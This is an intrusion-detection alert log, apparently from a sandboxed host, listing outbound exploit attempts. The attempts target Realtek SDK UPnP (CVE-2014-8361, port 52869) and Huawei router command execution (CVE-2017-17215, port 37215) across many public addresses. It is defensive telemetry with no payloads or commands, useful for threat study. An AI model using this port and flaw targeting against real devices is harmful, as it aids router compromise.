07/20/24-23:01:42.837135	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34854	52869	192.168.2.23	48.145.35.196
07/20/24-23:01:14.035496	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34068	37215	192.168.2.23	190.5.182.99
07/20/24-23:01:02.064358	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34402	37215	192.168.2.23	157.219.128.2
07/20/24-23:01:00.641803	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47368	37215	192.168.2.23	197.224.26.246
07/20/24-23:01:59.593869	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56606	52869	192.168.2.23	24.65.233.168
07/20/24-23:01:24.883171	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60342	37215	192.168.2.23	197.77.35.64
07/20/24-23:01:41.399866	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44106	52869	192.168.2.23	49.9.206.193
07/20/24-23:01:13.649188	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51914	52869	192.168.2.23	205.132.5.218
07/20/24-23:01:20.124696	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53234	37215	192.168.2.23	41.237.97.145
07/20/24-23:01:34.050672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33384	37215	192.168.2.23	41.220.117.2
07/20/24-23:01:40.334934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44412	37215	192.168.2.23	197.100.4.197
07/20/24-23:01:43.978984	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56542	52869	192.168.2.23	126.192.25.7
07/20/24-23:01:42.101588	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53848	52869	192.168.2.23	207.162.61.245
07/20/24-23:01:44.059102	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44128	52869	192.168.2.23	147.163.143.195
07/20/24-23:01:34.062277	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54054	37215	192.168.2.23	160.103.123.17
07/20/24-23:01:31.978141	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42054	37215	192.168.2.23	197.65.9.72
07/20/24-23:01:44.565132	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57282	52869	192.168.2.23	112.138.84.14
07/20/24-23:01:45.735394	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44298	52869	192.168.2.23	223.75.101.67
07/20/24-23:01:08.957638	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47288	52869	192.168.2.23	84.150.128.0
07/20/24-23:01:56.270914	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54396	52869	192.168.2.23	171.38.97.128
07/20/24-23:01:49.138222	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50114	52869	192.168.2.23	86.51.174.240
07/20/24-23:01:41.366269	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48042	52869	192.168.2.23	159.222.212.200
07/20/24-23:01:31.976795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46866	37215	192.168.2.23	197.154.129.141
07/20/24-23:01:46.019511	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33072	52869	192.168.2.23	182.29.32.245
07/20/24-23:01:00.639093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52086	37215	192.168.2.23	197.182.113.83
07/20/24-23:01:44.631448	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34526	52869	192.168.2.23	133.122.43.145
07/20/24-23:01:46.556921	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39934	52869	192.168.2.23	190.183.92.200
07/20/24-23:01:31.976984	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38654	37215	192.168.2.23	76.88.28.157
07/20/24-23:01:44.730531	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45796	52869	192.168.2.23	81.144.207.10
07/20/24-23:01:08.677485	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57276	52869	192.168.2.23	111.252.253.89
07/20/24-23:01:24.459589	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43272	52869	192.168.2.23	179.40.74.15
07/20/24-23:01:42.713313	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40798	52869	192.168.2.23	79.42.102.158
07/20/24-23:01:42.563729	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59400	52869	192.168.2.23	104.27.90.68
07/20/24-23:01:44.144821	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40362	52869	192.168.2.23	12.65.191.23
07/20/24-23:01:01.826098	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59266	52869	192.168.2.23	135.23.236.194
07/20/24-23:00:57.221557	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43680	37215	192.168.2.23	157.254.68.190
07/20/24-23:01:08.683684	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37206	52869	192.168.2.23	172.97.184.195
07/20/24-23:01:31.322217	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52702	52869	192.168.2.23	70.161.8.187
07/20/24-23:01:41.882275	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34572	52869	192.168.2.23	192.18.152.238
07/20/24-23:01:27.730585	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60510	37215	192.168.2.23	157.89.78.68
07/20/24-23:01:43.135089	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57444	52869	192.168.2.23	9.44.236.192
07/20/24-23:01:45.862503	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37346	52869	192.168.2.23	169.80.181.136
07/20/24-23:01:40.343151	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58374	37215	192.168.2.23	157.145.121.60
07/20/24-23:01:43.895586	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52138	52869	192.168.2.23	171.210.7.241
07/20/24-23:01:44.631925	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34438	52869	192.168.2.23	213.68.164.174
07/20/24-23:01:45.092575	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45468	52869	192.168.2.23	165.194.139.225
07/20/24-23:01:53.735607	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39890	52869	192.168.2.23	39.212.80.61
07/20/24-23:01:08.677485	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54274	52869	192.168.2.23	75.16.13.92
07/20/24-23:01:48.547161	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59820	52869	192.168.2.23	129.246.142.35
07/20/24-23:00:57.222279	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60150	37215	192.168.2.23	157.12.120.37
07/20/24-23:01:31.317774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51874	52869	192.168.2.23	220.87.191.244
07/20/24-23:01:02.768078	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60488	52869	192.168.2.23	86.86.67.253
07/20/24-23:02:09.263272	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43816	52869	192.168.2.23	210.49.56.86
07/20/24-23:01:24.933370	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41828	37215	192.168.2.23	181.98.41.184
07/20/24-23:01:32.076593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53012	37215	192.168.2.23	41.72.207.45
07/20/24-23:01:08.606848	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36948	52869	192.168.2.23	146.210.17.240
07/20/24-23:01:45.540580	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49004	52869	192.168.2.23	204.255.198.47
07/20/24-23:01:42.129029	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40978	52869	192.168.2.23	203.162.151.3
07/20/24-23:01:42.422050	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57534	52869	192.168.2.23	76.231.40.42
07/20/24-23:01:13.694393	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58076	52869	192.168.2.23	140.34.53.233
07/20/24-23:01:59.513085	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53334	52869	192.168.2.23	89.86.75.249
07/20/24-23:01:59.707284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52044	52869	192.168.2.23	66.82.21.101
07/20/24-23:01:24.885895	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46230	37215	192.168.2.23	194.21.224.56
07/20/24-23:01:04.049279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49198	37215	192.168.2.23	41.138.190.176
07/20/24-23:01:03.290547	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38308	52869	192.168.2.23	129.27.232.7
07/20/24-23:01:21.931985	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35820	37215	192.168.2.23	197.188.71.219
07/20/24-23:01:07.022763	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44248	37215	192.168.2.23	157.79.183.3
07/20/24-23:01:46.827502	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55088	52869	192.168.2.23	110.40.238.120
07/20/24-23:01:45.188773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48818	52869	192.168.2.23	27.86.156.82
07/20/24-23:02:00.668349	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53924	52869	192.168.2.23	83.28.127.148
07/20/24-23:01:00.639093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44420	37215	192.168.2.23	157.90.253.17
07/20/24-23:01:43.147883	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39284	52869	192.168.2.23	189.66.149.229
07/20/24-23:01:40.334452	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56216	37215	192.168.2.23	144.60.118.98
07/20/24-23:01:56.719998	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40662	52869	192.168.2.23	75.93.244.9
07/20/24-23:01:53.524925	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59212	52869	192.168.2.23	209.44.4.130
07/20/24-23:01:04.098909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51778	37215	192.168.2.23	41.161.204.46
07/20/24-23:01:41.419124	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36358	52869	192.168.2.23	158.212.171.84
07/20/24-23:01:56.504220	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58452	52869	192.168.2.23	79.45.122.255
07/20/24-23:01:41.960623	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53334	52869	192.168.2.23	173.71.226.225
07/20/24-23:01:49.631749	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52014	52869	192.168.2.23	111.101.151.97
07/20/24-23:01:42.827952	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40648	52869	192.168.2.23	192.160.62.15
07/20/24-23:01:01.150119	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42464	52869	192.168.2.23	157.202.7.129
07/20/24-23:01:53.863938	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58594	52869	192.168.2.23	66.250.122.217
07/20/24-23:01:48.181097	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44604	52869	192.168.2.23	101.122.117.242
07/20/24-23:01:58.031141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48568	52869	192.168.2.23	208.24.236.236
07/20/24-23:01:34.053061	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43202	37215	192.168.2.23	197.213.218.177
07/20/24-23:01:14.164018	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34592	52869	192.168.2.23	73.36.171.85
07/20/24-23:01:41.299284	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55122	52869	192.168.2.23	174.30.181.131
07/20/24-23:01:00.640312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57096	37215	192.168.2.23	197.124.34.30
07/20/24-23:01:04.160872	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47360	52869	192.168.2.23	93.10.103.253
07/20/24-23:01:08.650213	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34576	52869	192.168.2.23	86.86.67.253
07/20/24-23:01:44.888072	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53918	52869	192.168.2.23	105.83.227.139
07/20/24-23:01:41.245522	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57362	52869	192.168.2.23	191.61.198.111
07/20/24-23:01:43.001716	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36388	52869	192.168.2.23	161.217.163.253
07/20/24-23:01:52.482723	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41540	52869	192.168.2.23	116.106.3.51
07/20/24-23:01:27.677519	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40302	37215	192.168.2.23	92.112.157.125
07/20/24-23:01:09.032669	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54312	52869	192.168.2.23	100.7.167.160
07/20/24-23:01:46.485082	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51436	52869	192.168.2.23	109.104.48.215
07/20/24-23:01:47.231819	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45896	52869	192.168.2.23	94.187.41.215
07/20/24-23:01:48.376233	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42130	52869	192.168.2.23	101.42.79.184
07/20/24-23:01:09.021221	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59966	52869	192.168.2.23	43.227.14.32
07/20/24-23:01:42.984532	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40688	52869	192.168.2.23	124.13.0.132
07/20/24-23:01:42.728248	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37640	52869	192.168.2.23	85.109.146.148
07/20/24-23:01:02.470704	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45810	52869	192.168.2.23	129.194.41.40
07/20/24-23:01:41.501891	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46770	52869	192.168.2.23	2.78.155.76
07/20/24-23:01:42.612597	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45456	52869	192.168.2.23	108.79.31.157
07/20/24-23:01:48.124037	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39086	52869	192.168.2.23	173.124.142.19
07/20/24-23:01:11.635828	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39608	37215	192.168.2.23	41.124.1.164
07/20/24-23:01:48.986585	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52706	52869	192.168.2.23	105.66.231.198
07/20/24-23:01:09.027075	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49516	52869	192.168.2.23	213.46.179.130
07/20/24-23:01:43.978983	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59718	52869	192.168.2.23	32.189.144.58
07/20/24-23:01:53.459445	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50914	52869	192.168.2.23	80.12.29.225
07/20/24-23:01:47.201912	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57420	52869	192.168.2.23	187.119.209.224
07/20/24-23:01:21.952783	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36672	37215	192.168.2.23	41.202.148.115
07/20/24-23:01:42.485253	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58876	52869	192.168.2.23	162.227.232.27
07/20/24-23:01:41.295718	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51266	52869	192.168.2.23	14.249.111.18
07/20/24-23:01:42.622797	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55116	52869	192.168.2.23	169.186.230.20
07/20/24-23:01:44.954688	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36322	52869	192.168.2.23	194.45.44.116
07/20/24-23:01:51.354418	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44534	52869	192.168.2.23	152.150.124.219
07/20/24-23:01:31.331820	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48328	52869	192.168.2.23	172.14.168.150
07/20/24-23:01:46.844704	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40656	52869	192.168.2.23	185.86.48.66
07/20/24-23:01:41.956472	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55608	52869	192.168.2.23	80.7.39.33
07/20/24-23:01:24.915904	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51416	37215	192.168.2.23	197.139.170.13
07/20/24-23:01:43.489480	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45674	52869	192.168.2.23	106.236.204.67
07/20/24-23:01:08.615260	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46100	52869	192.168.2.23	209.154.77.145
07/20/24-23:01:24.934977	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45554	37215	192.168.2.23	197.42.208.165
07/20/24-23:01:02.355712	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33494	52869	192.168.2.23	196.0.98.90
07/20/24-23:00:59.185033	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42824	37215	192.168.2.23	139.165.159.227
07/20/24-23:01:40.286738	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52836	37215	192.168.2.23	197.208.250.204
07/20/24-23:01:43.957856	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39886	52869	192.168.2.23	5.36.69.33
07/20/24-23:01:56.999569	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35682	52869	192.168.2.23	62.146.159.96
07/20/24-23:01:56.510714	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59026	52869	192.168.2.23	112.218.81.136
07/20/24-23:01:50.951743	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42826	52869	192.168.2.23	198.167.255.95
07/20/24-23:01:51.172994	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44444	52869	192.168.2.23	66.150.226.120
07/20/24-23:01:24.876750	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40666	37215	192.168.2.23	206.180.101.209
07/20/24-23:01:44.142024	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57768	52869	192.168.2.23	54.188.109.169
07/20/24-23:01:04.098080	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56136	37215	192.168.2.23	41.150.236.246
07/20/24-23:01:47.870904	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39194	52869	192.168.2.23	39.76.169.126
07/20/24-23:01:49.198416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33032	52869	192.168.2.23	51.131.43.210
07/20/24-23:01:27.729822	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37160	37215	192.168.2.23	157.67.226.84
07/20/24-23:01:51.979093	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47772	52869	192.168.2.23	9.97.212.169
07/20/24-23:01:52.934726	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46990	52869	192.168.2.23	139.163.81.215
07/20/24-23:01:03.266392	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51400	52869	192.168.2.23	9.134.98.50
07/20/24-23:01:46.530676	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50316	52869	192.168.2.23	177.9.244.61
07/20/24-23:01:52.838688	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50076	52869	192.168.2.23	192.175.188.159
07/20/24-23:01:34.045144	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60586	37215	192.168.2.23	197.218.45.39
07/20/24-23:02:05.374045	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55868	52869	192.168.2.23	95.71.29.54
07/20/24-23:01:47.807536	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37344	52869	192.168.2.23	157.175.172.46
07/20/24-23:01:45.407048	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34170	52869	192.168.2.23	34.82.199.243
07/20/24-23:01:25.146493	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45846	52869	192.168.2.23	152.43.74.118
07/20/24-23:01:27.666100	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52076	37215	192.168.2.23	197.156.176.6
07/20/24-23:01:42.809716	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55558	52869	192.168.2.23	200.107.251.119
07/20/24-23:01:51.683848	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39894	52869	192.168.2.23	201.63.23.173
07/20/24-23:01:43.946379	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34982	52869	192.168.2.23	221.195.227.25
07/20/24-23:00:59.196993	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40010	37215	192.168.2.23	170.47.187.157
07/20/24-23:01:08.640831	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35834	52869	192.168.2.23	104.55.221.40
07/20/24-23:01:44.706302	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39534	52869	192.168.2.23	154.31.9.47
07/20/24-23:01:20.149798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37938	37215	192.168.2.23	157.253.8.89
07/20/24-23:01:20.202325	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34146	37215	192.168.2.23	41.130.131.66
07/20/24-23:01:54.796749	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33462	52869	192.168.2.23	43.18.71.244
07/20/24-23:01:04.247958	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60760	37215	192.168.2.23	197.8.78.212
07/20/24-23:01:48.083998	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60718	52869	192.168.2.23	63.248.77.62
07/20/24-23:01:57.465464	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41994	52869	192.168.2.23	88.40.199.176
07/20/24-23:01:31.986571	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50630	37215	192.168.2.23	118.50.177.22
07/20/24-23:01:25.948093	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43810	52869	192.168.2.23	109.162.13.246
07/20/24-23:01:00.645051	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55228	37215	192.168.2.23	1.136.199.61
07/20/24-23:01:56.246775	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59676	52869	192.168.2.23	9.38.202.199
07/20/24-23:01:20.175900	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37304	37215	192.168.2.23	197.199.249.9
